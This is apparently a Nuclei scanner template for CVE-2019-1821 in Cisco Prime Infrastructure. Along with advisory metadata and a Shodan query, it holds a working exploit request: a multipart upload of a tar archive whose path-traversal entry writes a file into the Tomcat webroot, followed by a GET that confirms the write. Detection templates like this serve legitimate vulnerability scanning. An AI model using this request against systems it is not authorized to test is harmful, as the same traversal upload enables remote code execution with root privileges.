61 lines
2.8 KiB
YAML
61 lines
2.8 KiB
YAML
id: CVE-2019-1821
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info:
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name: Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager - Remote Code Execution
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author: _0xf4n9x_
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severity: critical
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description: Cisco Prime Infrastructure (PI) and Cisco Evolved Programmable Network (EPN) Manager could allow an authenticated, remote attacker to execute code with root-level privileges on the underlying operating system. This vulnerability exist because the software improperly validates user-supplied input. An attacker could exploit this vulnerability by uploading a malicious file to the administrative web interface. A successful exploit could allow the attacker to execute code with root-level privileges on the underlying operating system.
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remediation: |
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Apply the latest security patches provided by Cisco to mitigate this vulnerability.
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reference:
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- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce
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- https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html
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- https://nvd.nist.gov/vuln/detail/CVE-2019-1821
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- http://packetstormsecurity.com/files/153350/Cisco-Prime-Infrastructure-Health-Monitor-TarArchive-Directory-Traversal.html
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-1821
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cwe-id: CWE-20
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epss-score: 0.96882
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epss-percentile: 0.99686
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cpe: cpe:2.3:a:cisco:evolved_programmable_network_manager:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: cisco
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product: evolved_programmable_network_manager
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shodan-query: http.title:"prime infrastructure"
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tags: cve,cve2019,packetstorm,rce,fileupload,unauth,intrusive,cisco
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http:
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- raw:
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- |
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POST /servlet/UploadServlet HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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Primary-IP: 127.0.0.1
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Filename: test.tar
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Filesize: 10240
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Compressed-Archive: false
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Destination-Dir: tftpRoot
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Filecount: 1
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Content-Length: 269
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Content-Type: multipart/form-data; boundary=871a4a346a547cf05cb83f57b9ebcb83
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--871a4a346a547cf05cb83f57b9ebcb83
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Content-Disposition: form-data; name="files"; filename="test.tar"
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../../opt/CSCOlumos/tomcat/webapps/ROOT/test.txt0000644000000000000000000000000400000000000017431 0ustar 00000000000000{{randstr}}
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--871a4a346a547cf05cb83f57b9ebcb83--
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- |
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GET /test.txt HTTP/1.1
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Host: {{Host}}
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matchers:
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- type: dsl
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dsl:
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- "status_code == 200"
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- "contains((body_2), '{{randstr}}')"
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condition: and
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# digest: 4a0a0047304502205888e7c28a2ed34a699ba6a61abd7d0c921a1fa089b3ea0c8642abd3d44e024c022100ecc132734e78ce44fd4988a443a7fdfe894a409ef6a6b888ea12d9a141aa6eb1:922c64590222798bb761d5b6d8e72950 |